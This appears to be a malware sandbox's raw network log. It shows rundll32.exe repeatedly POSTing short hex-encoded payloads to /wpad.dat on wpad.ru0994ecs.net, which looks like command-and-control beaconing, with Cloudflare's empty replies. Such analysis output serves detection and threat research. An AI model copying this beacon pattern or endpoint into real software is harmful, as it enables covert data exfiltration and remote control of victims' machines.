2024-04-16 13:36:23 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:23 UTC	545	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hEXJ9wQoWaR%2FZGrWITuOFkaIl%2FLLDnrTPP%2BD0WyHkKD8SYPgjebDlF6px%2BGQ8L0QPPrM%2BLULFFqElGtru9%2BGsul%2B3uNaI37G9Gjgioha0L%2FG5Ka%2F0xh5i3fK4HL3bmreMsSTnf8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490648d641386-ATL
2024-04-16 13:36:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.8	49780	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:25 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:25 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:25 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cAXdRvm8xqSyu%2FiacAwbnCHXbhFix5ZTMsm92ejB5qjqOFUnzcDjeG3%2BSrDkM2QyPfPyM4MgSSq49%2Fk1E0C4H31FbdWg422wKqoaWOrkO4jdB7XVZr2XCIYfz7fyrm6ruHM%2BTSI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549070aeb8ad71-ATL
2024-04-16 13:36:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.8	49781	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:25 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:25 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:26 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nUFX0NV8DTrXylyDkIy5dp1Ag3o1wA5ch9H7O2kT0U3%2FMN%2F%2BCGniBmZ7j7rN40dIkKif9S%2BZfFPCZH7JQ51ZdqFQ2QLU7feV1iQsYOI5HNTjwSoUkfXTsn6KcsDLl%2FhjgTMhCEU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549073282e4542-ATL
2024-04-16 13:36:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.8	49782	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:26 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:26 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:26 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BGgPEI5UASX78rtaXA0vcDLIM2iSa0LRLgkImrGxiHCdaabAVcs5bdEo5NOODRZHhvrVq5oBuVHvp3KHm8LSz0rNVkWIwi8KEl8bSW59%2BduUtLeaXtlylyXnb%2FDuV%2BPSKYPbhb8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490750f741d72-ATL
2024-04-16 13:36:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.8	49783	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:29 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:29 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:29 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XRqQPBjtWl8MsL%2BN7ArhXsYCswJPITfgw6OwFFPvz8%2Bm4xNDG9miFYOyELUER4Yq1WhO%2BRica%2BSKQSR9Z7qPGmeeXOdjapNXGPDqHbUOo8qHKyTclYRP2nmyDi1o5dNEnRU0TEU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549089d9ec7cc6-ATL
2024-04-16 13:36:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.8	49784	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:29 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:29 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:30 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m4sp%2Btt8FvMygyCXknt6hX8mhSAL2%2FcVVjYI958K1WFA7cCeDuZpIp361yAClmeNwtSzrCThoK2OzBEz56hapD%2BuIp8YIKpp8LiiUL9K635dqWVHRCLxeXZRC8MJfEE96PLRwRg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754908b6fabb0d3-ATL
2024-04-16 13:36:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.8	49785	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:31 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:31 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:31 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GSOcAheDgCNtW1G3iQmOEa3cbPeq3tOKmhlIb03fJ%2FQSVGjPrn3sZ4yrVT747fFzrSBBHEwQrULqy82YDqNxOu7KQ%2F2qeM6U8%2BPehIPsGmRmtZEVapHdpjpgxS75G7EsRs6iQJw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754909398264564-ATL
2024-04-16 13:36:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.8	49786	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:32 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:32 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:32 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MsZOFb032L6bwHQYuT%2Bd6g1aS4Kmqq3byaC6nwqzfy2FTnJiuubH1yp4aEB%2BV9y7Ykaj%2BafK0ofhIHYfa4K8UCJpwx9FgA5zbPKv1Fhi%2BV7l2RtncaDqTtCB7ySp8Wxkr9u6rQQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754909a486f07ba-ATL
2024-04-16 13:36:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.8	49787	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:32 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:32 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:32 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iTIWmlfJ%2BiibQIuA2fucTItsGExsSA9SO6a9aTXFrG9sAwyqdt1mDGJQ8CtUFB5g%2FZVU7lYpuEt%2BoKloEhKRmWaRMMaDditxIuzFnbGg2xkMsaYjvbqwHObToWuDNXd0d9C%2FOYA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754909bdd8544f1-ATL
2024-04-16 13:36:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.8	49788	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:32 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:32 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:33 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ojZmqExQHBdyxkuLCjTP90kN5%2Fq7gamln25cvMQ6tDLh%2FayHSSYXyePsDcQQz2qVEKwmu%2FNJbyK%2FsizUqjOLTIjDLytIJBRsnmCwyvO9Gzr110MJgowbSeQ8CIAUeG0CLpMhH10%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754909e2ed406f8-ATL
2024-04-16 13:36:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.8	49789	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:33 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:33 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:33 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k9ivFS60YneJpXI1Fq2s%2BeUVIGzLWD8X4gVrDSi6drfzy4KeAx303CXvlPP%2FZFbxUsG6B%2FFelQ420XlDak6Lk8FIYwDkrz6%2Bph5lgCtVp%2FH788i28qAnTcPntXOuKeo5I9XCeuk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754909fcb0406e2-ATL
2024-04-16 13:36:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.8	49791	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:35 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:35 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:36 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OuDCfcnBWyvAHbqiKUAZkhERsfnV%2BsTOmkcCqGtXAjvPyTw54D%2Bu01P3pCVk48C2FSIblI3NNV3X1g08a1O%2FpYOoSkTJmCqeeKEZBA1Yo0aLjRHqbX4vpgNATiXwUx8KavM%2FfJE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490b02d37b032-ATL
2024-04-16 13:36:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.8	49793	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:38 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:38 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:39 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f8dElKYhYK8Iy3H%2B3wbHrYGvTRzwKVrKZqcYlUoPizh58bMmd%2FmgDnh%2FaT8sPMpwh4Rl3uLJ8P8mdhdZFK0NDrDO6ZvG0a0MScm2ThH2KLwaw8YtPWWRJUv%2Faw%2B05e6ocfcSPqE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490c3cafe6757-ATL
2024-04-16 13:36:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.8	49792	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:38 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
